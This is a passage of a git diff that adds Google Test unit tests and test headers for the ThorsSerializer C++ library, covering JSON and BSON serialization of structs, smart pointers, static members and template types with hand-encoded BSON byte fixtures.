config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Map); + + std::stringstream stream; + ThorsAnvil::Serialize::BsonPrinter printer(stream, config); + ThorsAnvil::Serialize::Serializer serializer(printer); + + serializer.print(data); + std::string result = stream.str(); + + EXPECT_EQ(testData3Bson, result); +} + +TEST(SerializeTest, BsonDeSerializeStructureMemberOfValue) +{ + SerializeTest::SerializeTestMembers data; + ThorsAnvil::Serialize::ParserInterface::ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Map); + + std::stringstream stream(testData3Bson); + ThorsAnvil::Serialize::BsonParser parser(stream, config); + ThorsAnvil::Serialize::DeSerializer deSerializer(parser); + + deSerializer.parse(data); + + EXPECT_EQ(data.member1.theInteger, 234567); + EXPECT_EQ(data.member1.aNonRealValue, 123.45); + EXPECT_EQ(data.member1.test, true); + EXPECT_EQ(data.member1.normalString, "NotASquareAndOnlyOneSide"); + EXPECT_EQ(data.member2.theInteger, 234567); + EXPECT_EQ(data.member2.aNonRealValue, 123.45); + EXPECT_EQ(data.member2.test, true); + EXPECT_EQ(data.member2.normalString, "NotASquareAndOnlyOneSide"); + EXPECT_EQ(data.member2.data1, 67); + EXPECT_EQ(data.member2.data2, 11); +} + +TEST(SerializeTest, BsonStrictParserDoesNotIgnoreData) +{ + SerializeTest::SerializeTestExtra data; + ThorsAnvil::Serialize::ParserInterface::ParserConfig config(ThorsAnvil::Serialize::ParserInterface::ParseType::Strict); + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Map); + + std::stringstream stream(testData4Bson); + ThorsAnvil::Serialize::BsonParser parser(stream, config); + ThorsAnvil::Serialize::DeSerializer deSerializer(parser); + + EXPECT_THROW( + deSerializer.parse(data), + std::runtime_error + ); +} +TEST(SerializeTest, BsonExactParserDoesNotIgnoreData) +{ + SerializeTest::SerializeTestExtra data; + ThorsAnvil::Serialize::ParserInterface::ParserConfig config(ThorsAnvil::Serialize::ParserInterface::ParseType::Exact); + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Map); + + std::stringstream stream(testData4Bson); + ThorsAnvil::Serialize::BsonParser parser(stream, config); + ThorsAnvil::Serialize::DeSerializer deSerializer(parser); + + EXPECT_THROW( + deSerializer.parse(data), + std::runtime_error + ); +} +TEST(SerializeTest, BsonExactParserNeedsAllMembersFail) +{ + SerializeTest::SerializeExact data; + + // testData1 has all the members of SerializeTestExtra (parent of SerializeExact) + // but does not have anotherValue so should throw an exception + std::stringstream stream(testData1Bson); + ThorsAnvil::Serialize::ParserInterface::ParserConfig config(ThorsAnvil::Serialize::ParserInterface::ParseType::Exact); + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Map); + ThorsAnvil::Serialize::BsonParser parser(stream, config); + ThorsAnvil::Serialize::DeSerializer deSerializer(parser); + + EXPECT_THROW( + deSerializer.parse(data), + std::runtime_error + ); +} +TEST(SerializeTest, BsonExactParserNeedsAllMembersGood) +{ + SerializeTest::SerializeExact data; + ThorsAnvil::Serialize::ParserInterface::ParserConfig config(ThorsAnvil::Serialize::ParserInterface::ParseType::Exact); + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Map); + + std::stringstream stream(testData5Bson); + ThorsAnvil::Serialize::BsonParser parser(stream, config); + ThorsAnvil::Serialize::DeSerializer deSerializer(parser); + + deSerializer.parse(data); +} +TEST(SerializeTest, BsonIgnoreAllTheDataWeDontCareAbout) +{ + SerializeTest::SerializeTestExtra data; + ThorsAnvil::Serialize::PrinterInterface::PrinterConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Map); + + std::stringstream stream(testData4Bson); + ThorsAnvil::Serialize::BsonParser parser(stream); + ThorsAnvil::Serialize::DeSerializer deSerializer(parser); + + deSerializer.parse(data); + + EXPECT_EQ(data.theInteger, 34); + EXPECT_EQ(data.aNonRealValue, 56.78); + EXPECT_EQ(data.test, true); + EXPECT_EQ(data.normalString, "Done"); +} +TEST(SerializeTest, BsonDerivedTypeNoNewMembers) +{ + SerializeTest::SerializeExactNoMembers data(34,56.78, true, "Done"); + ThorsAnvil::Serialize::PrinterInterface::PrinterConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Map); + + std::stringstream stream; + ThorsAnvil::Serialize::BsonPrinter printer(stream, config); + ThorsAnvil::Serialize::Serializer serializer(printer); + + serializer.print(data); + std::string result = stream.str(); + + EXPECT_EQ(testData1Bson, result); +} +TEST(SerializeTest, BsonDerivedTypeNoNewMembersPolyMorphic) +{ + SerializeTest::SerializeExactNoMembersPoly data(34,56.78, true, "Done"); + ThorsAnvil::Serialize::PrinterInterface::PrinterConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Map); + + std::stringstream stream; + ThorsAnvil::Serialize::BsonPrinter printer(stream, config); + ThorsAnvil::Serialize::Serializer serializer(printer); + + serializer.print(data); + std::string result = stream.str(); + + EXPECT_EQ(testData1Bson, result); +} + + diff --git a/Extern/include/ThorsSerializer/test/SerializeTest.h b/Extern/include/ThorsSerializer/test/SerializeTest.h new file mode 100644 index 0000000..47c15e8 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/SerializeTest.h @@ -0,0 +1,123 @@ + +#ifndef THORS_ANVIL_SERIALIZE_TEST_SERIALIZE_TEST_EXTRA_H +#define THORS_ANVIL_SERIALIZE_TEST_SERIALIZE_TEST_EXTRA_H + +#include "Traits.h" +#include "Serialize.h" +#include "Serialize.tpp" + +namespace SerializeTest +{ + +enum RGB { Red, Green, Blue }; +struct EumHolder +{ + RGB value; +}; +enum Flag { empty = 0, One = 1, Two = 2, Three = 4}; + +// Added after an issue with enum's with 8 or 9 items +enum class OctalValues { OCT1, OCT2, OCT3, OCT4, OCT5, OCT6, OCT7, OCT8 }; + +class SerializeTestExtra +{ + public: + int theInteger; + double aNonRealValue; + bool test; + std::string normalString; + + friend class ThorsAnvil::Serialize::Traits; + public: + SerializeTestExtra() + {} + SerializeTestExtra(int theInteger, double aNonRealValue, bool test, std::string const& normalString) + : theInteger(theInteger) + , aNonRealValue(aNonRealValue) + , test(test) + , normalString(normalString) + {} + ~SerializeTestExtra() + {} + SerializeTestExtra(SerializeTestExtra const&) = delete; + SerializeTestExtra& operator=(SerializeTestExtra const&) = delete; +}; + +class SerializeExact: public SerializeTestExtra +{ + int anotherValue; + friend class ThorsAnvil::Serialize::Traits; + public: + using SerializeTestExtra::SerializeTestExtra; +}; + +class SerializeExactNoMembers: public SerializeTestExtra +{ + public: + using SerializeTestExtra::SerializeTestExtra; +}; + +class SerializeExactNoMembersPoly: public SerializeTestExtra +{ + public: + using SerializeTestExtra::SerializeTestExtra; + ThorsAnvil_PolyMorphicSerializer(SerializeExactNoMembersPoly); +}; + +class SerializeTestChild: public SerializeTestExtra +{ + public: + int data1; + int data2; + + friend class ThorsAnvil::Serialize::Traits; + public: + SerializeTestChild() + {} + SerializeTestChild(int data1, int data2, int theInteger, double aNonRealValue, bool test, std::string const& normalString) + : SerializeTestExtra(theInteger, aNonRealValue, test, normalString) + , data1(data1) + , data2(data2) + {} +}; + +class SerializeTestMembers +{ + public: + SerializeTestExtra member1; + SerializeTestChild member2; + + friend class ThorsAnvil::Serialize::Traits; + public: + SerializeTestMembers() + {} + SerializeTestMembers(int data1, int data2, int theInteger, double aNonRealValue, bool test, std::string const& normalString) + : member1(theInteger, aNonRealValue, test, normalString) + , member2(data1, data2, theInteger, aNonRealValue, test, normalString) + {} +}; + +struct CornerCaseClass +{ + int value; + virtual ~CornerCaseClass() {} + ThorsAnvil_PolyMorphicSerializer(CornerCaseClass); +}; + +} + +ThorsAnvil_MakeEnum(SerializeTest::RGB, Red, Green, Blue); +ThorsAnvil_MakeEnum(SerializeTest::OctalValues, OCT1, OCT2, OCT3, OCT4, OCT5, OCT6, OCT7, OCT8); +ThorsAnvil_MakeTrait(SerializeTest::EumHolder, value); +ThorsAnvil_MakeTrait(SerializeTest::SerializeTestExtra, theInteger, aNonRealValue, test, normalString); +ThorsAnvil_ExpandTrait(SerializeTest::SerializeTestExtra, SerializeTest::SerializeExact, anotherValue); +ThorsAnvil_ExpandTrait(SerializeTest::SerializeTestExtra, SerializeTest::SerializeTestChild, data1, data2); +ThorsAnvil_MakeTrait(SerializeTest::SerializeTestMembers, member1, member2); +ThorsAnvil_MakeTrait(SerializeTest::CornerCaseClass, value); +ThorsAnvil_ExpandTrait(SerializeTest::SerializeTestExtra, SerializeTest::SerializeExactNoMembers); +ThorsAnvil_ExpandTrait(SerializeTest::SerializeTestExtra, SerializeTest::SerializeExactNoMembersPoly); +ThorsAnvil_MakeEnumFlag(SerializeTest::Flag, One, Two, Three); + + +#endif + diff --git a/Extern/include/ThorsSerializer/test/SmartPointerTest.cpp b/Extern/include/ThorsSerializer/test/SmartPointerTest.cpp new file mode 100644 index 0000000..2d10e1e --- /dev/null +++ b/Extern/include/ThorsSerializer/test/SmartPointerTest.cpp @@ -0,0 +1,475 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "SmartPointerTest.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include "SerUtil.h" +#include + +TEST(SmartPointerTest, JsonCreateNormalPtrNull) +{ + using ThorsAnvil::Serialize::ParserInterface; + std::stringstream stream(R"(null)"); + SmartPtrTest::Object* data = nullptr; + bool import = false; + + if (stream >> ThorsAnvil::Serialize::jsonImporter(data, ParserInterface::ParseType::Weak)) + { + import = true; + } + EXPECT_EQ(import, true); + EXPECT_EQ(data, nullptr); +} + +TEST(SmartPointerTest, JsonCreateNormalPtrObject) +{ + using ThorsAnvil::Serialize::ParserInterface; + std::stringstream stream(R"({"id": 456, "name": "This is a test"})"); + SmartPtrTest::Object* data = nullptr; + bool import = false; + + if (stream >> ThorsAnvil::Serialize::jsonImporter(data, ParserInterface::ParseType::Weak)) + { + import = true; + } + EXPECT_EQ(import, true); + ASSERT_NE(data, nullptr); + EXPECT_EQ(data->id, 456); + EXPECT_EQ(data->name, "This is a test"); + delete data; +} + +TEST(SmartPointerTest, JsonCreateUniquePtrNull) +{ + using ThorsAnvil::Serialize::ParserInterface; + using UniObject = std::unique_ptr; + + std::stringstream stream(R"(null)"); + UniObject data; + bool import = false; + + if (stream >> ThorsAnvil::Serialize::jsonImporter(data, ParserInterface::ParseType::Weak)) + { + import = true; + } + EXPECT_EQ(import, true); + EXPECT_EQ(data, nullptr); +} + +TEST(SmartPointerTest, JsonCreateUniquePtrObject) +{ + using ThorsAnvil::Serialize::ParserInterface; + using UniObject = std::unique_ptr; + + std::stringstream stream(R"({"id": 456, "name": "This is a test"})"); + UniObject data; + bool import = false; + + if (stream >> ThorsAnvil::Serialize::jsonImporter(data, ParserInterface::ParseType::Weak)) + { + import = true; + } + EXPECT_EQ(import, true); + ASSERT_NE(data.get(), nullptr); + EXPECT_EQ(data->id, 456); + EXPECT_EQ(data->name, "This is a test"); +} + +TEST(SmartPointerTest, JsonCreateSharedPtrNull) +{ + using ThorsAnvil::Serialize::ParserInterface; + using UniObject = std::unique_ptr; + + std::stringstream stream(R"(null)"); + UniObject data; + bool import = false; + + if (stream >> ThorsAnvil::Serialize::jsonImporter(data, ParserInterface::ParseType::Weak)) + { + import = true; + } + EXPECT_EQ(import, true); + EXPECT_EQ(data, nullptr); +} + +TEST(SmartPointerTest, JsonCreateSharedPtrObject) +{ + using ThorsAnvil::Serialize::ParserInterface; + using UniObject = std::shared_ptr; + + std::stringstream stream(R"({"id": 456, "name": "This is a test"})"); + UniObject data; + bool import = false; + + if (stream >> ThorsAnvil::Serialize::jsonImporter(data, ParserInterface::ParseType::Weak)) + { + import = true; + } + EXPECT_EQ(import, true); + ASSERT_NE(data.get(), nullptr); + EXPECT_EQ(data->id, 456); + EXPECT_EQ(data->name, "This is a test"); +} + +TEST(SmartPointerTest, JsonSerializeNormalPtrNull) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::stringstream stream; + SmartPtrTest::Object* data = nullptr; + bool import = false; + + if (stream << ThorsAnvil::Serialize::jsonExporter(data, PrinterInterface::OutputType::Default)) + { + import = true; + } + EXPECT_EQ(import, true); + EXPECT_EQ(stream.str(), " null"); +} + +TEST(SmartPointerTest, JsonSerializeNormalPtrObject) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::stringstream stream; + SmartPtrTest::Object* data = new SmartPtrTest::Object{456, "This is a test"}; + bool import = false; + + if (stream << ThorsAnvil::Serialize::jsonExporter(data, PrinterInterface::OutputType::Stream)) + { + import = true; + } + EXPECT_EQ(import, true); + EXPECT_EQ(stream.str(), R"({"id":456,"name":"This is a test"})"); + delete data; +} + +TEST(SmartPointerTest, JsonSerializeUniquePtrNull) +{ + using ThorsAnvil::Serialize::PrinterInterface; + using UniObject = std::unique_ptr; + + std::stringstream stream; + UniObject data; + bool import = false; + + if (stream << ThorsAnvil::Serialize::jsonExporter(data, PrinterInterface::OutputType::Default)) + { + import = true; + } + EXPECT_EQ(import, true); + EXPECT_EQ(stream.str(), " null"); +} + +TEST(SmartPointerTest, JsonSerializeUniquePtrObject) +{ + using UniObject = std::unique_ptr; + using ThorsAnvil::Serialize::PrinterInterface; + + std::stringstream stream; + SmartPtrTest::Object* data(new SmartPtrTest::Object{456, "This is a test"}); + bool import = false; + + if (stream << ThorsAnvil::Serialize::jsonExporter(data, PrinterInterface::OutputType::Stream)) + { + import = true; + } + EXPECT_EQ(import, true); + EXPECT_EQ(stream.str(), R"({"id":456,"name":"This is a test"})"); +} + +TEST(SmartPointerTest, JsonSerializeSharedPtrNull) +{ + using ThorsAnvil::Serialize::PrinterInterface; + using UniObject = std::shared_ptr; + + std::stringstream stream; + UniObject data; + bool import = false; + + if (stream << ThorsAnvil::Serialize::jsonExporter(data, PrinterInterface::OutputType::Default)) + { + import = true; + } + EXPECT_EQ(import, true); + EXPECT_EQ(stream.str(), " null"); +} + +TEST(SmartPointerTest, JsonSerializeSharedPtrObject) +{ + using ThorsAnvil::Serialize::PrinterInterface; + using UniObject = std::shared_ptr; + + std::stringstream stream; + SmartPtrTest::Object* data(new SmartPtrTest::Object{456, "This is a test"}); + bool import = false; + + if (stream << ThorsAnvil::Serialize::jsonExporter(data, PrinterInterface::OutputType::Stream)) + { + import = true; + } + EXPECT_EQ(import, true); + EXPECT_EQ(stream.str(), R"({"id":456,"name":"This is a test"})"); +} + +using namespace std::string_literals; +// BSON does not support null at the top level. +// but it should be able to cope with nullptr +// as a member. So wrapping this test. +TEST(SmartPointerTest, BsonCreateNormalPtrNull) +{ + using ThorsAnvil::Serialize::ParserInterface; + ThorsAnvil::Serialize::ParserInterface::ParserConfig config(ParserInterface::ParseType::Weak); + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Map); + //std::stringstream stream(R"(null)"); + std::string input = "\x0B\x00\x00\x00" + "\x0A" "data\x00" + "\x00"s; + std::stringstream stream(input); + Wrapper wrap; + wrap.data = new SmartPtrTest::Object; + bool import = false; + + if (stream >> ThorsAnvil::Serialize::bsonImporter(wrap, config)) + { + import = true; + } + EXPECT_EQ(import, true); + EXPECT_EQ(wrap.data, nullptr); +} + +TEST(SmartPointerTest, BsonCreateNormalPtrObject) +{ + using ThorsAnvil::Serialize::ParserInterface; + //std::stringstream stream(R"({"id": 456, "name": "This is a test"})"); + std::string input = "\x26\x00\x00\x00" + "\x10" "id\x00" "\xc8\x01\x00\x00" + "\x02" "name\x00" "\x0F\x00\x00\x00" "This is a test\x00" + "\x00"s; + std::stringstream stream(input); + SmartPtrTest::Object* data = nullptr; + bool import = false; + + if (stream >> ThorsAnvil::Serialize::bsonImporter(data, ParserInterface::ParseType::Weak)) + { + import = true; + } + EXPECT_EQ(import, true); + ASSERT_NE(data, nullptr); + EXPECT_EQ(data->id, 456); + EXPECT_EQ(data->name, "This is a test"); + delete data; +} + +TEST(SmartPointerTest, BsonCreateUniquePtrNull) +{ + using ThorsAnvil::Serialize::ParserInterface; + using UniObject = std::unique_ptr; + + //std::stringstream stream(R"(null)"); + std::string input = "\x0B\x00\x00\x00" + "\x0A" "data\x00" + "\x00"s; + std::stringstream stream(input); + WrapperUni wrap; + bool import = false; + + wrap.data = std::make_unique(); + if (stream >> ThorsAnvil::Serialize::bsonImporter(wrap, ParserInterface::ParseType::Weak)) + { + import = true; + } + EXPECT_EQ(import, true); + EXPECT_EQ(wrap.data, nullptr); +} + +TEST(SmartPointerTest, BsonCreateUniquePtrObject) +{ + using ThorsAnvil::Serialize::ParserInterface; + using UniObject = std::unique_ptr; + + //std::stringstream stream(R"({"id": 456, "name": "This is a test"})"); + std::string input = "\x26\x00\x00\x00" + "\x10" "id\x00" "\xc8\x01\x00\x00" + "\x02" "name\x00" "\x0F\x00\x00\x00" "This is a test\x00" + "\x00"s; + std::stringstream stream(input); + UniObject data; + bool import = false; + + if (stream >> ThorsAnvil::Serialize::bsonImporter(data, ParserInterface::ParseType::Weak)) + { + import = true; + } + EXPECT_EQ(import, true); + ASSERT_NE(data.get(), nullptr); + EXPECT_EQ(data->id, 456); + EXPECT_EQ(data->name, "This is a test"); +} + +TEST(SmartPointerTest, BsonCreateSharedPtrNull) +{ + using ThorsAnvil::Serialize::ParserInterface; + using UniObject = std::unique_ptr; + + //std::stringstream stream(R"(null)"); + std::string input = "\x0B\x00\x00\x00" + "\x0A" "data\x00" + "\x00"s; + std::stringstream stream(input); + WrapperShared wrap; + bool import = false; + + wrap.data = std::make_unique(); + if (stream >> ThorsAnvil::Serialize::bsonImporter(wrap, ParserInterface::ParseType::Weak)) + { + import = true; + } + EXPECT_EQ(import, true); + EXPECT_EQ(wrap.data, nullptr); +} + +TEST(SmartPointerTest, BsonCreateSharedPtrObject) +{ + using ThorsAnvil::Serialize::ParserInterface; + using UniObject = std::shared_ptr; + + //std::stringstream stream(R"({"id": 456, "name": "This is a test"})"); + std::string input = "\x26\x00\x00\x00" + "\x10" "id\x00" "\xc8\x01\x00\x00" + "\x02" "name\x00" "\x0F\x00\x00\x00" "This is a test\x00" + "\x00"s; + std::stringstream stream(input); + UniObject data; + bool import = false; + + if (stream >> ThorsAnvil::Serialize::bsonImporter(data, ParserInterface::ParseType::Weak)) + { + import = true; + } + EXPECT_EQ(import, true); + ASSERT_NE(data.get(), nullptr); + EXPECT_EQ(data->id, 456); + EXPECT_EQ(data->name, "This is a test"); +} + +TEST(SmartPointerTest, BsonSerializeNormalPtrNull) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::stringstream stream; + Wrapper wrap; + bool import = false; + + wrap.data = nullptr; + if (stream << ThorsAnvil::Serialize::bsonExporter(wrap, PrinterInterface::OutputType::Default)) + { + import = true; + } + EXPECT_EQ(import, true); + EXPECT_EQ(stream.str(), "\x0B\x00\x00\x00" + "\x0A" "data\x00" + "\x00"s); + //EXPECT_EQ(stream.str(), " null"); +} + +TEST(SmartPointerTest, BsonSerializeNormalPtrObject) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::stringstream stream; + SmartPtrTest::Object* data = new SmartPtrTest::Object{456, "This is a test"}; + bool import = false; + + if (stream << ThorsAnvil::Serialize::bsonExporter(data, PrinterInterface::OutputType::Stream)) + { + import = true; + } + EXPECT_EQ(import, true); + EXPECT_EQ(stream.str(), "\x26\x00\x00\x00" + "\x10" "id\x00" "\xc8\x01\x00\x00" + "\x02" "name\x00" "\x0F\x00\x00\x00" "This is a test\x00" + "\x00"s); + //EXPECT_EQ(stream.str(), R"({"id":456,"name":"This is a test"})"); + delete data; +} + +TEST(SmartPointerTest, BsonSerializeUniquePtrNull) +{ + using ThorsAnvil::Serialize::PrinterInterface; + using UniObject = std::unique_ptr; + + std::stringstream stream; + WrapperUni wrap; + bool import = false; + + if (stream << ThorsAnvil::Serialize::bsonExporter(wrap, PrinterInterface::OutputType::Default)) + { + import = true; + } + EXPECT_EQ(import, true); + EXPECT_EQ(stream.str(), "\x0B\x00\x00\x00" + "\x0A" "data\x00" + "\x00"s); + //EXPECT_EQ(stream.str(), " null"); +} + +TEST(SmartPointerTest, BsonSerializeUniquePtrObject) +{ + using UniObject = std::unique_ptr; + using ThorsAnvil::Serialize::PrinterInterface; + + std::stringstream stream; + SmartPtrTest::Object* data(new SmartPtrTest::Object{456, "This is a test"}); + bool import = false; + + if (stream << ThorsAnvil::Serialize::bsonExporter(data, PrinterInterface::OutputType::Stream)) + { + import = true; + } + EXPECT_EQ(import, true); + EXPECT_EQ(stream.str(), "\x26\x00\x00\x00" + "\x10" "id\x00" "\xc8\x01\x00\x00" + "\x02" "name\x00" "\x0F\x00\x00\x00" "This is a test\x00" + "\x00"s); + //EXPECT_EQ(stream.str(), R"({"id":456,"name":"This is a test"})"); +} + +TEST(SmartPointerTest, BsonSerializeSharedPtrNull) +{ + using ThorsAnvil::Serialize::PrinterInterface; + using UniObject = std::shared_ptr; + + std::stringstream stream; + WrapperShared wrap{nullptr}; + bool import = false; + + if (stream << ThorsAnvil::Serialize::bsonExporter(wrap, PrinterInterface::OutputType::Default)) + { + import = true; + } + EXPECT_EQ(import, true); + EXPECT_EQ(stream.str(), "\x0B\x00\x00\x00" + "\x0A" "data\x00" + "\x00"s); + //EXPECT_EQ(stream.str(), " null"); +} + +TEST(SmartPointerTest, BsonSerializeSharedPtrObject) +{ + using ThorsAnvil::Serialize::PrinterInterface; + using UniObject = std::shared_ptr; + + std::stringstream stream; + SmartPtrTest::Object* data(new SmartPtrTest::Object{456, "This is a test"}); + bool import = false; + + if (stream << ThorsAnvil::Serialize::bsonExporter(data, PrinterInterface::OutputType::Stream)) + { + import = true; + } + EXPECT_EQ(import, true); + EXPECT_EQ(stream.str(), "\x26\x00\x00\x00" + "\x10" "id\x00" "\xc8\x01\x00\x00" + "\x02" "name\x00" "\x0F\x00\x00\x00" "This is a test\x00" + "\x00"s); + //EXPECT_EQ(stream.str(), R"({"id":456,"name":"This is a test"})"); +} + + diff --git a/Extern/include/ThorsSerializer/test/SmartPointerTest.h b/Extern/include/ThorsSerializer/test/SmartPointerTest.h new file mode 100644 index 0000000..039574b --- /dev/null +++ b/Extern/include/ThorsSerializer/test/SmartPointerTest.h @@ -0,0 +1,31 @@ +#include "Traits.h" +#include "Serialize.h" +#include +#include + +namespace SmartPtrTest +{ + struct Object + { + int id; + std::string name; + }; +} +struct Wrapper +{ + SmartPtrTest::Object* data; +}; +struct WrapperUni +{ + std::unique_ptr data; +}; +struct WrapperShared +{ + std::shared_ptr data; +}; + +ThorsAnvil_MakeTrait(SmartPtrTest::Object, id, name); +ThorsAnvil_MakeTrait(Wrapper, data); +ThorsAnvil_MakeTrait(WrapperUni, data); +ThorsAnvil_MakeTrait(WrapperShared, data); + diff --git a/Extern/include/ThorsSerializer/test/StaticMemberTest.cpp b/Extern/include/ThorsSerializer/test/StaticMemberTest.cpp new file mode 100644 index 0000000..e9d2f72 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/StaticMemberTest.cpp @@ -0,0 +1,59 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "test/SerializeTest.h" +#include "Serialize.h" +#include "Serialize.tpp" +#include "Traits.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include +#include + +using namespace std::string_literals; + +namespace StaticMemberTest +{ + +struct StaticMember +{ + static int staticMember; + int normalMember; +}; + +int StaticMember::staticMember = 8; +} + +ThorsAnvil_MakeTrait(StaticMemberTest::StaticMember, normalMember, staticMember); + +TEST(StaticMemberTest, JsonserializeStaticMember) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::string inputStr(R"({"normalMember":7,"staticMember":14})"); + std::stringstream input(inputStr); + std::stringstream output; + StaticMemberTest::StaticMember data; + + input >> ThorsAnvil::Serialize::jsonImporter(data, false); + output << ThorsAnvil::Serialize::jsonExporter(data, PrinterInterface::OutputType::Stream); + + EXPECT_EQ(output.str(), inputStr); +} + +TEST(StaticMemberTest, BsonserializeStaticMember) +{ + using ThorsAnvil::Serialize::PrinterInterface; + //std::string inputStr(R"({"normalMember":7,"staticMember":14})"); + std::string inputStr("\x29\x00\x00\x00" + "\x10" "normalMember\x00" "\x07\x00\x00\x00" + "\x10" "staticMember\x00" "\x0E\x00\x00\x00" + "\x00"s); + std::stringstream input(inputStr); + std::stringstream output; + StaticMemberTest::StaticMember data; + + input >> ThorsAnvil::Serialize::bsonImporter(data, false); + output << ThorsAnvil::Serialize::bsonExporter(data, PrinterInterface::OutputType::Stream); + + EXPECT_EQ(output.str(), inputStr); +} + diff --git a/Extern/include/ThorsSerializer/test/TemplateTypeTest.cpp b/Extern/include/ThorsSerializer/test/TemplateTypeTest.cpp new file mode 100644 index 0000000..82ddedc --- /dev/null +++ b/Extern/include/ThorsSerializer/test/TemplateTypeTest.cpp @@ -0,0 +1,161 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "test/SerializeTest.h" +#include "Serialize.h" +#include "Serialize.tpp" +#include "SerUtil.h" +#include "Traits.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include +#include + +using namespace std::string_literals; + +namespace TemplateTypeTest +{ + +template +struct TemplateType +{ + std::vector templateMember; +}; + +struct NormalInheritFromTemplate: public TemplateType +{ + std::string normalName; +}; + +template +struct TemplateInheritFromTemplate: public TemplateType +{ + std::vector alternative; +}; + +} + + +ThorsAnvil_Template_MakeTrait(1, TemplateTypeTest::TemplateType, templateMember); +ThorsAnvil_ExpandTrait(TemplateTypeTest::TemplateType, TemplateTypeTest::NormalInheritFromTemplate, normalName); +ThorsAnvil_Template_ExpandTrait(1, TemplateTypeTest::TemplateType, TemplateTypeTest::TemplateInheritFromTemplate, alternative); + +TEST(TemplateTypeTest, JsontemplateTest) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::string inputStr(R"({"templateMember":[1,2,3,4]})"); + std::stringstream input(inputStr); + std::stringstream output; + TemplateTypeTest::TemplateType data; + + input >> ThorsAnvil::Serialize::jsonImporter(data, false); + output << ThorsAnvil::Serialize::jsonExporter(data, PrinterInterface::OutputType::Stream); + + EXPECT_EQ(output.str(), inputStr); +} + +TEST(TemplateTypeTest, JsonnormalInheritingFromtemplateTest) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::string inputStr(R"({"templateMember":[1,2,3,4],"normalName":"A name"})"); + std::stringstream input(inputStr); + std::stringstream output; + TemplateTypeTest::NormalInheritFromTemplate data; + + input >> ThorsAnvil::Serialize::jsonImporter(data, false); + output << ThorsAnvil::Serialize::jsonExporter(data, PrinterInterface::OutputType::Stream); + + EXPECT_EQ(output.str(), inputStr); +} + +TEST(TemplateTypeTest, JsontemplateInheritingFromtemplateTest) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::string inputStr(R"({"templateMember":[1,2,3,4],"alternative":[5,6,7,8]})"); + std::stringstream input(inputStr); + std::stringstream output; + TemplateTypeTest::TemplateInheritFromTemplate data; + + input >> ThorsAnvil::Serialize::jsonImporter(data, false); + output << ThorsAnvil::Serialize::jsonExporter(data, PrinterInterface::OutputType::Stream); + + EXPECT_EQ(output.str(), inputStr); +} + +TEST(TemplateTypeTest, BsontemplateTest) +{ + using ThorsAnvil::Serialize::PrinterInterface; + //std::string inputStr(R"({"templateMember":[1,2,3,4]})"); + std::string inputStr("\x36\x00\x00\x00" + "\x04" "templateMember\x00" + "\x21\x00\x00\x00" + "\x10" "0\x00" "\x01\x00\x00\x00" + "\x10" "1\x00" "\x02\x00\x00\x00" + "\x10" "2\x00" "\x03\x00\x00\x00" + "\x10" "3\x00" "\x04\x00\x00\x00" + "\x00" + "\x00"s); + std::stringstream input(inputStr); + std::stringstream output; + TemplateTypeTest::TemplateType data; + + input >> ThorsAnvil::Serialize::bsonImporter(data, false); + output << ThorsAnvil::Serialize::bsonExporter(data, PrinterInterface::OutputType::Stream); + + EXPECT_EQ(output.str(), inputStr); +} + +TEST(TemplateTypeTest, BsonnormalInheritingFromtemplateTest) +{ + using ThorsAnvil::Serialize::PrinterInterface; + //std::string inputStr(R"({"templateMember":[1,2,3,4],"normalName":"A name"})"); + std::string inputStr("\x4D\x00\x00\x00" + "\x04" "templateMember\x00" + "\x21\x00\x00\x00" + "\x10" "0\x00" "\x01\x00\x00\x00" + "\x10" "1\x00" "\x02\x00\x00\x00" + "\x10" "2\x00" "\x03\x00\x00\x00" + "\x10" "3\x00" "\x04\x00\x00\x00" + "\x00" + "\x02" "normalName\x00" "\x07\x00\x00\x00" "A name\x00" + "\x00"s); + std::stringstream input(inputStr); + std::stringstream output; + TemplateTypeTest::NormalInheritFromTemplate data; + + input >> ThorsAnvil::Serialize::bsonImporter(data, false); + output << ThorsAnvil::Serialize::bsonExporter(data, PrinterInterface::OutputType::Stream); + + EXPECT_EQ(output.str(), inputStr); +} + +TEST(TemplateTypeTest, BsontemplateInheritingFromtemplateTest) +{ + using ThorsAnvil::Serialize::PrinterInterface; + //std::string inputStr(R"({"templateMember":[1,2,3,4],"alternative":[5,6,7,8]})"); + std::string inputStr("\x64\x00\x00\x00" + "\x04" "templateMember\x00" + "\x21\x00\x00\x00" + "\x10" "0\x00" "\x01\x00\x00\x00" + "\x10" "1\x00" "\x02\x00\x00\x00" + "\x10" "2\x00" "\x03\x00\x00\x00" + "\x10" "3\x00" "\x04\x00\x00\x00" + "\x00" + "\x04" "alternative\x00" + "\x21\x00\x00\x00" + "\x10" "0\x00" "\x05\x00\x00\x00" + "\x10" "1\x00" "\x06\x00\x00\x00" + "\x10" "2\x00" "\x07\x00\x00\x00" + "\x10" "3\x00" "\x08\x00\x00\x00" + "\x00" + "\x00"s); + std::stringstream input(inputStr); + std::stringstream output; + TemplateTypeTest::TemplateInheritFromTemplate data; + + input >> ThorsAnvil::Serialize::bsonImporter(data, false); + output << ThorsAnvil::Serialize::bsonExporter(data, 